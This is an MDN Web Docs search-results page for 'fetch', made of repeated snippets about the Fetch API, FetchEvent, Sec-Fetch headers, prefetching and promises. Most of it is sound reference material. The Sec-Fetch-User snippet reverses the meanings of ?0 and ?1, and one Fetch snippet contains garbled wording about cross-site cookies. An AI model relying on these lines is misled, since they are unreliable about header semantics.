Search completed in 0.95 seconds.
674 results for "fetch":
Your results are loading. Please wait...
Using Fetch - Web APIs
the fetch api provides a javascript interface for accessing and manipulating parts of the http pipeline, such as requests and responses. it also provides a global fetch() method that provides an easy, logical way to fetch resources asynchronously across the network. this kind of functionality was previously achieved using xmlhttprequest. fetch provides a better alternative that can be easily used by other technologies such as service workers. fetch also provides a single logical place to define other http-related concepts such as cors and extensions to http. the fetch specification differs from jquery.ajax() in three main ways: the promise returned from fetch() won’t reject on http error status even if the response is an http 404 or 500. instead, it will resolve normally (with ok stat...
...d concepts such as cors and extensions to http. the fetch specification differs from jquery.ajax() in three main ways: the promise returned from fetch() won’t reject on http error status even if the response is an http 404 or 500. instead, it will resolve normally (with ok status set to false), and it will only reject on network failure or if anything prevented the request from completing. fetch() won't can receive cross-site cookies; you can’t can establish a cross site session using fetch. set-cookie headers from other sites are silently ignored. fetch won’t send cookies, unless you set the credentials init option. (since aug 25, 2017. the spec changed the default credentials policy to same-origin. ...
...ented the request from completing. fetch() won't can receive cross-site cookies; you can’t can establish a cross site session using fetch. set-cookie headers from other sites are silently ignored. fetch won’t send cookies, unless you set the credentials init option. (since aug 25, 2017. the spec changed the default credentials policy to same-origin. firefox changed since 61.0b13.) a basic fetch request is really simple to set up. have a look at the following code: fetch('http://example.com/movies.json') .then(response => response.json()) .then(data => console.log(data)); here we are fetching a json file across the network and printing it to the console. ...
...And 24 more matches
Link prefetching FAQ - HTTP
what is link prefetching? link prefetching is a browser mechanism, which utilizes browser idle time to download or prefetch documents that the user might visit in the near future. a web page provides a set of prefetching hints to the browser, and after the browser is finished loading the page, it begins silently prefetching specified documents and stores them in its cache. when the user visits one of the prefetched documents, it can be served up quickly out of the browser's cache. does prefetching work with https? starting in gecko 1.9.1 (firefox 3.5), https content can be prefetched. what are the prefetching hints? the browser looks for either an html <link> or an http link: header with a relation type of either next or prefetch. an example using the link tag follows: <link rel="...
...e of the prefetched documents, it can be served up quickly out of the browser's cache. does prefetching work with https? starting in gecko 1.9.1 (firefox 3.5), https content can be prefetched. what are the prefetching hints? ...
...d up quickly out of the browser's cache. does prefetching work with https? starting in gecko 1.9.1 (firefox 3.5), https content can be prefetched. what are the prefetching hints? the browser looks for either an html <link> or an http link: header with a relation type of either next or prefetch. an example using the link tag follows: <link rel="prefetch" href="/images/big.jpeg"> the same prefetching hint using an http link: header: link: </images/big.jpeg>; rel=prefetch the format for the link: header is described in rfc 5988 section 5. the browser observes all of these hints and queues up each unique request to be prefetched when the browser is idle. there can be multiple hints per page, as it might make sense to prefetch multiple documents. for example, the next document might conta...
...And 24 more matches
Fetching data from the server - Learn web development
er very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entire new page. this seemingly small detail has had a huge impact on the performance and behavior of sites, so in this article, we'll explain the concept and look at technologies that make it possible, such as xmlhttprequest and the fetch api. prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to fetch data from the server and use it to update the contents of a web page. what is the problem here? originally page loading on the web was simple — you'd send a request for a website to a server, and as long as...
...l and results in a poor user experience, especially as pages get larger and more complex. enter ajax this led to the creation of technologies that allow web pages to request small chunks of data (such as html, xml, json, or plain text) and display them only when needed, helping to solve the problem described above. this is achieved by using apis like xmlhttprequest or — more recently — the fetch api. these technologies allow web pages to directly handle making http requests for specific resources available on a server and formatting the resulting data as needed before it is displayed. note: in the early days, this general technique was known as asynchronous javascript and xml (ajax), because it tended to use xmlhttprequest to request xml data. this is normally not the case these days (...
...rectly handle making http requests for specific resources available on a server and formatting the resulting data as needed before it is displayed. note: in the early days, this general technique was known as asynchronous javascript and xml (ajax), because it tended to use xmlhttprequest to request xml data. this is normally not the case these days (you'd be more likely to use xmlhttprequest or fetch to request json), but the result is still the same, and the term "ajax" is still often used to describe the technique. the ajax model involves using a web api as a proxy to more intelligently request data rather than just having the browser reload the entire page. let's think about the significance of this: go to one of your favorite information-rich sites, like amazon, youtube, cnn, etc.,...
...And 22 more matches
ServiceWorkerGlobalScope.onfetch - Web APIs
note that an http error response (e.g., 404) will not trigger an exception. ...
...note that an http error response (e.g., 404) will not trigger an exception. ...
...note that an http error response (e.g., 404) will not trigger an exception. ...
...And 12 more matches
Sec-Fetch-Dest - HTTP
the sec-fetch-dest fetch metadata header indicates the request's destination, that is how the fetched data will be used. ...
... the sec-fetch-dest fetch metadata header indicates the request's destination, that is how the fetched data will be used. ...
... the sec-fetch-dest fetch metadata header indicates the request's destination, that is how the fetched data will be used. ...
...And 10 more matches
WindowOrWorkerGlobalScope.fetch() - Web APIs
the fetch() method of the windoworworkerglobalscope mixin starts the process of fetching a resource from the network, returning a promise which is fulfilled once the response is available. the promise resolves to the response object representing the response to your request. the promise does not reject on http errors — it only rejects on network errors. you must use then handlers to check for http errors. windoworworkerglobalscope is implemented by both window and workerglobalscope, which means that the fetch() method is available in pretty much any context in which you might want to fetch resources. a fetch() promise only rejects when a network error is encountered (which is usually when there’s a permissions issue or similar). ...
...rk errors. you must use then handlers to check for http errors. windoworworkerglobalscope is implemented by both window and workerglobalscope, which means that the fetch() method is available in pretty much any context in which you might want to fetch resources. a fetch() promise only rejects when a network error is encountered (which is usually when there’s a permissions issue or similar). a fetch() promise does not reject on http errors (404, etc.). instead, a then() handler must check the response.ok and/or response.status properties. the fetch() method is controlled by the connect-src directive of content security policy rather than the directive of the resources it's retrieving. note: the fetch() method's parameters are identical to those of the request() constructor. syntax cons...
... promise does not reject on http errors (404, etc.). instead, a then() handler must check the response.ok and/or response.status properties. the fetch() method is controlled by the connect-src directive of content security policy rather than the directive of the resources it's retrieving. note: the fetch() method's parameters are identical to those of the request() constructor. syntax const fetchresponsepromise = fetch(resource [, init]) parameters resource this defines the resource that you wish to fetch. this can either be: a usvstring containing the direct url of the resource you want to fetch. some browsers accept the blob: and data: schemes. a request object. init optional an object containing any custom settings that you want to apply to the request. the possible...
...And 9 more matches
Fetch API - Web APIs
Web › API › Fetch API
this will allow them to be used wherever they are needed in the future, whether it’s for service workers, cache api, and other similar things that handle or modify requests and responses, or any kind of use case that might require you to generate your responses programmatically (that is, the use of computer program or personal programming instructions). ...
...and other similar things that handle or modify requests and responses, or any kind of use case that might require you to generate your responses programmatically (that is, the use of computer program or personal programming instructions). it also defines related concepts such as cors and the http origin header semantics, supplanting their separate definitions elsewhere. for making a request and fetching a resource, use the windoworworkerglobalscope.fetch() method. it is implemented in multiple interfaces, specifically window and workerglobalscope. this makes it available in pretty much any context you might want to fetch resources in. the fetch() method takes one mandatory argument, the path to the resource you want to fetch. it returns a promise that resolves to the response to that request...
...d argument (see request). once a response is retrieved, there are a number of methods available to define what the body content is and how it should be handled (see body). you can create a request and response directly using the request() and response() constructors, but it's uncommon to do this directly. instead, these are more likely to be created as results of other api actions (for example, fetchevent.respondwith() from service workers). differences from jquery the fetch specification differs from jquery.ajax() in three main ways: the promise returned from fetch() won’t reject on http error status even if the response is an http 404 or 500. instead, it will resolve normally (with ok status set to false), and it will only reject on network failure or if anything prevented the reques...
...And 6 more matches
Sec-Fetch-Mode - HTTP
the sec-fetch-mode fetch metadata header indicates the request's mode. ...
... the sec-fetch-mode fetch metadata header indicates the request's mode. ...
... the sec-fetch-mode fetch metadata header indicates the request's mode. ...
...And 6 more matches
FetchEvent.respondWith() - Web APIs
the respondwith() method of fetchevent prevents the browser's default fetch handling, and allows you to provide a promise for a response yourself. in most cases you can provide any response that the receiver understands. for example, if an <img> initiates the request, the response body needs to be image data. for security reasons, there are a few global rules: you can only return response objects of type "opaque" if the fetchevent.request object's mode is "no-cors". this prevents the leaking of private data. you can only return response objects of type "opaqueredirect" if the fetchevent.request object's mode is "manual". you cannot return response objects of type "cors" if the fetchevent.request object's mode is "same-origin". specifying the final url of a resource from firefox 59 on...
...mode is "no-cors". this prevents the leaking of private data. you can only return response objects of type "opaqueredirect" if the fetchevent.request object's mode is "manual". you cannot return response objects of type "cors" if the fetchevent.request object's mode is "same-origin". specifying the final url of a resource from firefox 59 onwards, when a service worker provides a response to fetchevent.respondwith(), the response.url value will be propagated to the intercepted network request as the final resolved url. if the response.url value is the empty string, then the fetchevent.request.url is used as the final url. in the past the fetchevent.request.url was used as the final url in all cases. the provided response.url was effectively ignored. this means, for example, if a servic...
... was effectively ignored. this means, for example, if a service worker intercepts a stylesheet or worker script, then the provided response.url will be used to resolve any relative @import or importscripts() subresource loads (bug 1222008). for most types of network request this change has no impact because you can't observe the final url. there are a few, though, where it does matter: if a fetch() is intercepted, then you can observe the final url on the result's response.url. if a worker script is intercepted, then the final url is used to set self.location and used as the base url for relative urls in the worker script. if a stylesheet is intercepted, then the final url is used as the base url for resolving relative @import loads. note that navigation requests for windows and ifram...
...And 5 more matches
X-DNS-Prefetch-Control - HTTP
the x-dns-prefetch-control http response header controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as urls for items referenced by the document, including images, css, javascript, and so forth. this prefetching is performed in the background, so that the dns is likely to have been resolved by the time the referenced items are needed. this reduces latency when the user clicks a link. header type response header forbidden header name no syntax x-dns-prefetch-control: on x-dns-prefetch-control: off directives on enables dns prefetching. this is what browsers do, if they support the feature, when this header is not present off disables dns prefetching. th...
...tching. this is what browsers do, if they support the feature, when this header is not present off disables dns prefetching. this is useful if you don't control the link on the pages, or know that you don't want to leak information to these domains. description dns requests are very small in terms of bandwidth, but latency can be quite high, especially on mobile networks. by speculatively prefetching dns results, latency can be reduced significantly at certain times, such as when the user clicks the link. in some cases, latency can be reduced by a second. the implementation of this prefetching in some browsers allows domain name resolution to occur in parallel with (instead of in serial with) the fetching of actual page content. by doing this, the high-latency domain name resolution proce...
...educed significantly at certain times, such as when the user clicks the link. in some cases, latency can be reduced by a second. the implementation of this prefetching in some browsers allows domain name resolution to occur in parallel with (instead of in serial with) the fetching of actual page content. by doing this, the high-latency domain name resolution process doesn't cause any delay while fetching content. page load times – especially on mobile networks – can be measurably improved in this way. if the domain names for images can be resolved in advance of the images being requested, pages that load many images can see an improvement of 5% or more in the time of loading images. configuring prefetching in the browser in general, you don't need to do anything to manage prefetching. h...
...And 5 more matches
Using dns-prefetch - Web Performance
dns-prefetch is an attempt to resolve domain names before resources get requested. this could be a file loaded later or link target a user tries to follow. why use dns-prefetch? when a browser requests a resource from a (third party) server, that cross-origin’s domain name must be resolved to an ip address before the browser can issue the request. this process is known as dns resolution. while dns caching can help to reduce this latency, dns resolution can add significant latency to requests. for websites that open connections to many third parties, this latency can significantly reduce loading performance. dns-prefetch helps developers mask dns resolution latency. the html <link> element offers this functionality by way of a rel attribute value of dns-prefetch. the cross-origin do...
...ignificant latency to requests. for websites that open connections to many third parties, this latency can significantly reduce loading performance. dns-prefetch helps developers mask dns resolution latency. the html <link> element offers this functionality by way of a rel attribute value of dns-prefetch. ...
...s latency can significantly reduce loading performance. dns-prefetch helps developers mask dns resolution latency. the html <link> element offers this functionality by way of a rel attribute value of dns-prefetch. the cross-origin domain is then specified in the href attribute: syntax <link rel="dns-prefetch" href="https://fonts.gstatic.com/" > examples <html> <head> <link rel="dns-prefetch" href="https://fonts.gstatic.com/"> <!-- and all other head elements --> </head> <body> <!-- your page content --> </body> </html> you should place dns-prefetch hints in the <head> element any time your site references resources on cross-origin domains, but there are some things to keep in mind. ...
...And 4 more matches
Fetch metadata request header - MDN Web Docs Glossary: Definitions of Web-related terms
a fetch metadata request header is a http request header that provides additional information about the context the request originated from. these header names are prefixed with sec- and thus they are forbidden header names so headers can not be modified from javascript. fetch metadata request headers provide the server with additional information about where the request originated from, enabling it to ignore potentially malicious requests. ...
...vides additional information about the context the request originated from. these header names are prefixed with sec- and thus they are forbidden header names so headers can not be modified from javascript. ...
...context the request originated from. these header names are prefixed with sec- and thus they are forbidden header names so headers can not be modified from javascript. ...
...And 3 more matches
FetchEvent.request - Web APIs
the request read-only property of the fetchevent interface returns the request that triggered the event handler. this property is non-nullable (since version 46, in the case of firefox.) if a request is not provided by some other means, the constructor init object must contain a request (see fetchevent.fetchevent().) syntax var recentrequest = fetchevent.request; value a request object. example this code snippet is from the service worker fetch sample (run the fetch sample live). the serviceworkerglobalscope.onfetch event handler listens for the fetch event. when fired, pass a promise that back to the controlled page to fetchevent.respondwith(). this promise resolves to the first matching url request in the cache object. ...
... value a request object. example this code snippet is from the service worker fetch sample (run the fetch sample live). the serviceworkerglobalscope.onfetch event handler listens for the fetch event. when fired, pass a promise that back to the controlled page to fetchevent.respondwith(). this promise resolves to the first matching url request in the cache object. if no match is found, the code fetches a response from the network. the code also handles exceptions thrown from the serviceworkerglobalscope.fetch operation. note that an http error response (e.g., 404) will not trigger an exception. it will return a normal response object that has the appropriate error code set. ...
...ves to the first matching url request in the cache object. if no match is found, the code fetches a response from the network. the code also handles exceptions thrown from the serviceworkerglobalscope.fetch operation. note that an http error response (e.g., 404) will not trigger an exception. it will return a normal response object that has the appropriate error code set. ...
...And 3 more matches
FetchEvent - Web APIs
this is the event type for fetch events dispatched on the service worker global scope. it contains information about the fetch, including the request and how the receiver will treat the response. it provides the event.respondwith() method, which allows us to provide a response to this fetch. constructor fetchevent() creates a new fetchevent object. this constructor is not typically used. the browser creates these objects itself and provides them to fetch event callbacks. properties inherits properties from its ancestor, event. fetchevent.clientid read only the id of the same-origin client that initiated the fetch. ...
...od, which allows us to provide a response to this fetch. constructor fetchevent() creates a new fetchevent object. this constructor is not typically used. the browser creates these objects itself and provides them to fetch event callbacks. properties inherits properties from its ancestor, event. fetchevent.clientid read only the id of the same-origin client that initiated the fetch. fetchevent.preloadresponse read only a promise for a response, or undefined if this fetch is not a navigation, or navigation preload is not enabled. fetchevent.replacesclientid read only the id of the client that is being replaced during a page navigation. ...
...rits properties from its ancestor, event. fetchevent.clientid read only the id of the same-origin client that initiated the fetch. fetchevent.preloadresponse read only a promise for a response, or undefined if this fetch is not a navigation, or navigation preload is not enabled. fetchevent.replacesclientid read only the id of the client that is being replaced during a page navigation. fetchevent.resultingclientid read only the id of the client that replaces the previous client during a page navigation. fetchevent.request read only the request the browser intends to make. methods inherits methods from its parent, extendableevent. fetchevent.respondwith() prevent the browser's default fetch handling, and provide (a promise for) a response yourself. extendableevent.waitunt...
...And 3 more matches
PerformanceResourceTiming.fetchStart - Web APIs
example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
... example in the following example, the value of the *start and *end properties of all "resource" type events are logged. ...
...And 3 more matches
Sec-Fetch-Site - HTTP
this can happen when user had initiated this request by, e.g. directly entering a url in the address bar, opening a bookmark, or draging-and-dropping a file into the browser window. ...
...this can happen when user had initiated this request by, e.g. directly entering a url in the address bar, opening a bookmark, or draging-and-dropping a file into the browser window. ...
...this can happen when user had initiated this request by, e.g. directly entering a url in the address bar, opening a bookmark, or draging-and-dropping a file into the browser window. ...
...And 3 more matches
Prefetch - MDN Web Docs Glossary: Definitions of Web-related terms
prefetching is when content is downloaded in the background, this is based on the assumption that the content will likely be requested, enabling the content to load instantly if and when the user requests it. the content is downloaded and cached for anticipated future use without the user making an explicit request for it. dns prefetching domain lookups can be slow, especially with network latency on mobile phones. they are most relevant when there are a plethora of links to external websites that may be clicked on, like search engine results, dns prefetching resolves domain names in advance thereby speeding up load times by reducing the time associated with domain lookup at request time. ...
...r it. dns prefetching domain lookups can be slow, especially with network latency on mobile phones. they are most relevant when there are a plethora of links to external websites that may be clicked on, like search engine results, dns prefetching resolves domain names in advance thereby speeding up load times by reducing the time associated with domain lookup at request time. <link rel="dns-prefetch" href="https://example.com/"> link prefetching link prefetching is a performance optimization technique that works by assuming which links the user is likely to click, then downloading the content of those links. if the user decides to click on one of the links, then the page will be rendered instantly as the content has already been downloaded. ...
...at request time. <link rel="dns-prefetch" href="https://example.com/"> link prefetching link prefetching is a performance optimization technique that works by assuming which links the user is likely to click, then downloading the content of those links. if the user decides to click on one of the links, then the page will be rendered instantly as the content has already been downloaded. the prefetch hints are sent in http headers: link: ; rel=dns-prefetch, ; as=script; rel=preload, ; rel=prerender, ; as=style; rel=preload prefetch attribute value browsers will prefetch content when the prefetch <link> tag directs it to, giving the developer control over what resources should be prefetched. ...
...nstantly as the content has already been downloaded. the prefetch hints are sent in http headers: link: ; rel=dns-prefetch, ; as=script; rel=preload, ; rel=prerender, ; as=style; rel=preload prefetch attribute value browsers will prefetch content when the prefetch <link> tag directs it to, giving the developer control over what resources should be prefetched. ...
HTMLCanvasElement.mozFetchAsStream() - Web APIs
it saves to the desktop it uses fileutils.jsm. ...
...it saves to the desktop it uses fileutils.jsm. ...
...it saves to the desktop it uses fileutils.jsm. ...
... ...
CSP: prefetch-src - HTTP
the http content-security-policy (csp) prefetch-src directive specifies valid resources that may be prefetched or prerendered. csp version 3 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the prefetch-src policy: content-security-policy: prefetch-src <source>; content-security-policy: prefetch-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the po...
...reate the hash and the base64-encoded hash of the script or style. when generating the hash, don't include the <script> or <style> tags and note that capitalization and whitespace matter, including leading or trailing whitespace. see unsafe inline script for an example. in csp 2.0, this applied only to inline scripts. csp 3.0 allows it in the case of script-src for external scripts. ...
...<style> tags and note that capitalization and whitespace matter, including leading or trailing whitespace. see unsafe inline script for an example. in csp 2.0, this applied only to inline scripts. csp 3.0 allows it in the case of script-src for external scripts. ...
...lization and whitespace matter, including leading or trailing whitespace. see unsafe inline script for an example. in csp 2.0, this applied only to inline scripts. csp 3.0 allows it in the case of script-src for external scripts. example prefetch resources do not match header given a page with the following content security policy: content-security-policy: prefetch-src https://example.com/ fetches for the following code will return network errors, as the urls provided do not match prefetch-src's source list: <link rel="prefetch" src="https://example.org/"></link> <link rel="prerender" src="https://example.org/"></link> specification specification status comment content security policy level 3the definition of 'prefetch-src' in that specification. working...
FetchEvent.preloadResponse - Web APIs
the preloadresponse read-only property of the fetchevent interface returns a promise that resolves to the navigation preload response if navigation preload was triggered or undefined otherwise. syntax var expectedresponse = fetchevent.preloadresponse; value a promise that resolves to a response or otherwise to undefined. example this code snippet is from the navigation preload page. the serviceworkerglobalscope.onfetch event handler listens for the fetch event. when fired, pass a promise that back to the controlled page to fetchevent.respondwith(). this promise resolves to the first matching url request in the cache object. if no match is found, the code checks for a preloaded response. else it fetches a response from the network. ...
... navigation preload page. the serviceworkerglobalscope.onfetch event handler listens for the fetch event. when fired, pass a promise that back to the controlled page to fetchevent.respondwith(). this promise resolves to the first matching url request in the cache object. if no match is found, the code checks for a preloaded response. else it fetches a response from the network. ...
...tlistener('fetch', event => { event.respondwith(async function() { // respond from the cache if we can const cachedresponse = await caches.match(event.request); if (cachedresponse) return cachedresponse; // else, use the preloaded response, if it's there const response = await event.preloadresponse; if (response) return response; // else try the network. return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'preloadresponse' in that specification. working draft initial definition. ...
FetchEvent.navigationPreload - Web APIs
the navigationpreload read-only property of the fetchevent interface returns a promise that resolves to the instance of navigationpreloadmanager associated with the current service worker registration. syntax var promise = fetchevent.navigationpreload value a promise that resolves to the instance of navigationpreloadmanager. example the following example shows the implementation of a fetch event that uses a preloaded response. ...
...t interface returns a promise that resolves to the instance of navigationpreloadmanager associated with the current service worker registration. syntax var promise = fetchevent.navigationpreload value a promise that resolves to the instance of navigationpreloadmanager. example the following example shows the implementation of a fetch event that uses a preloaded response. ...
... working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
Fetch basic concepts - Web APIs
the fetch api provides an interface for fetching resources (including across the network). it will seem familiar to anyone who has used xmlhttprequest, but it provides a more powerful and flexible feature set. this article explains some of the basic concepts of the fetch api. note: this article will be added to over time. if you find a fetch concept that you feel needs explaining better, let someone know on the mdn discussion forum, or mdn web docs room on matrix. in a nutshell at the heart of fetch are the interface abstractions of http requests, responses, headers, and body payloads, along with a global fetch method for initiating asynchronous resource requests. because the main components of http are abstracted as javascript objects, it is easy for other apis to make use of such fu...
...the api is completely promise-based. guard guard is a feature of headers objects, with possible values of immutable, request, request-no-cors, response, or none, depending on where the header is used. ...
...the api is completely promise-based. guard guard is a feature of headers objects, with possible values of immutable, request, request-no-cors, response, or none, depending on where the header is used. when a new headers object is created using the headers() constructor, its guard is set to none (the default). ...
Cross-global fetch usage - Web APIs
this article explains an edge case that occurs with fetch (and potentially other apis exhibiting the same kind of resource retrieval behavior). when a cross-origin fetch involving a relative url is initiated from an <iframe>, the relative url used to be resolved against the current global location, rather than the iframe's location. the edge case many sites will never comes up against this edge case. to see it: you need a same-origin iframe that same-origin iframe needs to have a location with a different base url you have to use the fetch function cross-global, e.g. ...
...tiated from an <iframe>, the relative url used to be resolved against the current global location, rather than the iframe's location. the edge case many sites will never comes up against this edge case. to see it: you need a same-origin iframe that same-origin iframe needs to have a location with a different base url you have to use the fetch function cross-global, e.g. frame.contentwindow.fetch() the url passed to fetch needs to be relative the problem in the past we would resolve the relative url against the current global, for example: let absolute = new url(relative, window.location.href) this is not a problem as such. it is just that different apis that exhibit this kind of behavior were doing it inconsistently with the behavior defined in the spec, which could lead to problem...
...global, for example: let absolute = new url(relative, window.location.href) this is not a problem as such. it is just that different apis that exhibit this kind of behavior were doing it inconsistently with the behavior defined in the spec, which could lead to problems further down the line. the solution in firefox 60 onwards, mozilla resolves the relative url against the global that owns the fetch() function being used (see bug 1432272). so in the case described above, it is resolved against the iframe's location: let absolute = new url(relative, frame.contentwindow.location.href) there is a lot of discussion in progress about getting new specs to align with this behavior change, to mitigate potential problems going forward. ...
Sec-Fetch-User - HTTP
the sec-fetch-user fetch metadata header indicates whether or not a navigation request was triggered by a user activation. header type fetch metadata request header forbidden header name yes, since it has prefix sec- cors-safelisted request header syntax sec-fetch-user: ?0 sec-fetch-user: ?1 values the value is a boolean structured header. ?0 the navigation request was triggered by a user activation. ?1 the navigation request was triggered by something other than a user activation. ...
...e it has prefix sec- cors-safelisted request header syntax sec-fetch-user: ?0 sec-fetch-user: ?1 values the value is a boolean structured header. ?0 the navigation request was triggered by a user activation. ?1 the navigation request was triggered by something other than a user activation. ...
...ted request header syntax sec-fetch-user: ?0 sec-fetch-user: ?1 values the value is a boolean structured header. ?0 the navigation request was triggered by a user activation. ?1 the navigation request was triggered by something other than a user activation. ...
FetchEvent() - Web APIs
options are as follows: clientid read only the client that the current service worker is controlling. isreload read only a boolean that signifies whether the page was reloaded or not when the event was dispatched. true if yes, and false if not. typically, pressing the refresh button in a browser is a reload, while clicking a link and pressing the back button is not. if not present, it defaults to false. ...
...ring which identifies the client which is being replaced by resultingclientid. resultingclientid read only a domstring containing the new clientid if the client changes as a result of the page load. request read only the request object that would have triggered the event handler. specifications specification status comment service workersthe definition of 'fetchevent() constructor' in that specification. working draft initial definition. ...
FetchEvent.client - Web APIs
Web › API › FetchEvent › client
the fetchevent.client read-only property returns the client that the current service worker is controlling. note: this feature has been deprecated, with its functionality replaced by fetchevent.clientid and clients.get(). see this github issue for discussion/background. syntax var myclient = fetchevent.client; value a client object. ...
... the fetchevent.client read-only property returns the client that the current service worker is controlling. note: this feature has been deprecated, with its functionality replaced by fetchevent.clientid and clients.get(). see this github issue for discussion/background. syntax var myclient = fetchevent.client; value a client object. ...
FetchEvent.isReload - Web APIs
the isreload read-only property of the fetchevent interface returns true if the event was dispatched by the user attempting to reload the page, and false otherwise. pressing the refresh button is a reload while clicking a link and pressing the back button is not. syntax var reloaded = fetchevent.isreload value a boolean. ...
... the isreload read-only property of the fetchevent interface returns true if the event was dispatched by the user attempting to reload the page, and false otherwise. pressing the refresh button is a reload while clicking a link and pressing the back button is not. syntax var reloaded = fetchevent.isreload value a boolean. ...
FetchEvent.replacesClientId - Web APIs
the replacesclientid read-only property of the fetchevent interface is the id of the client that is being replaced during a page navigation. for example, when navigating from page a to page b replacesclientid is the id of the client associated with page a. it can be an empty string when navigating from about:blank to another page, as about:blank's client will be reused, rather than be replaced. additionally, if the fetch isn't a navigation, replacesclientid will be an empty string. this could be used to access/communicate with a client that will imminently be replaced, right before a navigation. syntax var myreplacedclientid = fetchevent.replacesclientid; value a domstring. ...
...other page, as about:blank's client will be reused, rather than be replaced. additionally, if the fetch isn't a navigation, replacesclientid will be an empty string. this could be used to access/communicate with a client that will imminently be replaced, right before a navigation. syntax var myreplacedclientid = fetchevent.replacesclientid; value a domstring. example self.addeventlistener('fetch', function(event) { console.log(event.replacesclientid); }); specifications specification status comment service workersthe definition of 'replacesclientid' in that specification. working draft initial definition. ...
Fetch directive - MDN Web Docs Glossary: Definitions of Web-related terms
csp fetch directives are used in a content-security-policy header and control locations from which certain resource types may be loaded. for instance, script-src allows developers to allow trusted sources of script to execute on a page, while font-src controls the sources of web fonts. all fetch directives fall back to default-src. that means, if a fetch directive is absent in the csp header, the user agent will look for the default-src directive. see fetch directives for a complete list. ...
FetchEvent.clientId - Web APIs
the clientid read-only property of the fetchevent interface returns the id of the client that the current service worker is controlling. the clients.get() method could then be passed this id to retrieve the associated client. syntax var myclientid = fetchevent.clientid; value a domstring that represents the client id. example self.addeventlistener('fetch', function(event) { console.log(event.clientid); ​}); specifications specification status comment service workersthe definition of 'clientid' in that specification. working draft initial definition. ...
FetchEvent.resultingClientId - Web APIs
the resultingclientid read-only property of the fetchevent interface is the id of the client that replaces the previous client during a page navigation. for example, when navigating from page a to page b resultingclientid is the id of the client associated with page b. if the fetch request is a subresource request or the request's destination is report, resultingclientid will be an empty string. syntax var myresultingclientid = fetchevent.resultingclientid; value a domstring. example self.addeventlistener('fetch', function(event) { console.log(event.resultingclientid); }); specifications specification status comment service workersthe definition of 'resultingclientid' in that specification. working draft initial definition. ...
PerformanceTiming.fetchStart - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.fetchstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, the browser is ready to fetch the document using an http request. this moment is before the check to any application cache. syntax time = performance.timing.fetchstart; specifications specification status comment navigation timingthe definition of 'performancetiming.fetchstart' in that specification. recommendation initial definition. ...
Link types: dns-prefetch - HTML: Hypertext Markup Language
the dns-prefetch keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively performing dns resolution for that origin. see using dns-prefetch for more details. specifications specification status comment html living standardthe definition of 'dns-prefetch' in that specification. living standard ...
Link types: prefetch - HTML: Hypertext Markup Language
the prefetch keyword for the rel attribute of the <link> element is a hint to browsers that the user is likely to need the target resource for future navigations, and therefore the browser can likely improve the user experience by preemptively fetching and caching the resource. specifications specification status comment html living standardthe definition of 'prefetch' in that specification. living standard ...
Index - Web APIs
Web › API › Index
th ext.drawarraysinstancedangle() and ext.drawelementsinstancedangle(). 6 abortcontroller api, abortcontroller, experimental, interface, reference the abortcontroller interface represents a controller object that allows you to abort one or more dom requests as and when desired. ...
...roller interface represents a controller object that allows you to abort one or more dom requests as and when desired. 7 abortcontroller.abortcontroller() api, abortcontroller, constructor, experimental, fetch, reference the abortcontroller() constructor creates a new abortcontroller object instance. 8 abortcontroller.abort() api, abortcontroller, experimental, fetch, method, reference, abort() the abort() method of the abortcontroller interface aborts a dom request (e.g. a fetch request) before it has completed. ...
...troller, constructor, experimental, fetch, reference the abortcontroller() constructor creates a new abortcontroller object instance. 8 abortcontroller.abort() api, abortcontroller, experimental, fetch, method, reference, abort() the abort() method of the abortcontroller interface aborts a dom request (e.g. a fetch request) before it has completed. this is able to abort fetch requests, consumption of any response body, and streams. 9 abortcontroller.signal api, abortcontroller, experimental, fetch, property, reference, signal the signal read-only property of the abortcontroller interface returns an abortsignal object instance, which can be used to communicate with/abort a dom request as desired. 10 abortsignal api, abortsignal, dom,...
...And 113 more matches
Graceful asynchronous programming with Promises - Learn web development
tax: a real example promises are important to understand because most modern web apis use them for functions that perform potentially lengthy tasks. to use modern web technologies you'll need to use promises. later on in the chapter, we'll look at how to write your own promise, but for now, we'll look at some simple examples that you'll encounter in web apis. in the first example, we'll use the fetch() method to fetch an image from the web, the blob() method to transform the fetch response's raw body contents into a blob object, and then display that blob inside an <img> element. this is very similar to the example we looked at in the first article of the series, but we'll do it a bit differently as we get you building your own promise-based code. note: the following example will not work i...
... but we'll do it a bit differently as we get you building your own promise-based code. note: the following example will not work if you just run it directly from the file (i.e. via a file:// url). you need to run it through a local testing server, or use an online solution such as glitch or github pages. first of all, download our simple html template and the sample image file that we'll fetch. add a <script> element at the bottom of the html <body>. inside your <script> element, add the following line: let promise = fetch('coffee.jpg'); this calls the fetch() method, passing it the url of the image to fetch from the network as a parameter. this can also take an options object as an optional second parameter, but we are just using the simplest version for now. we are ...
...as we said before, this object represents an intermediate state that is initially neither success nor failure — the official term for a promise in this state is pending. ...
...And 25 more matches
Making asynchronous programming easier with async and await - Learn web development
tion that returns a promise, including web api functions. here is a trivial example: async function hello() { return greeting = await promise.resolve("hello"); }; hello().then(alert); of course, the above example is not very useful, although it does serve to illustrate the syntax. let's move on and look at a real example. ...
...ions. here is a trivial example: async function hello() { return greeting = await promise.resolve("hello"); }; hello().then(alert); of course, the above example is not very useful, although it does serve to illustrate the syntax. let's move on and look at a real example. ...
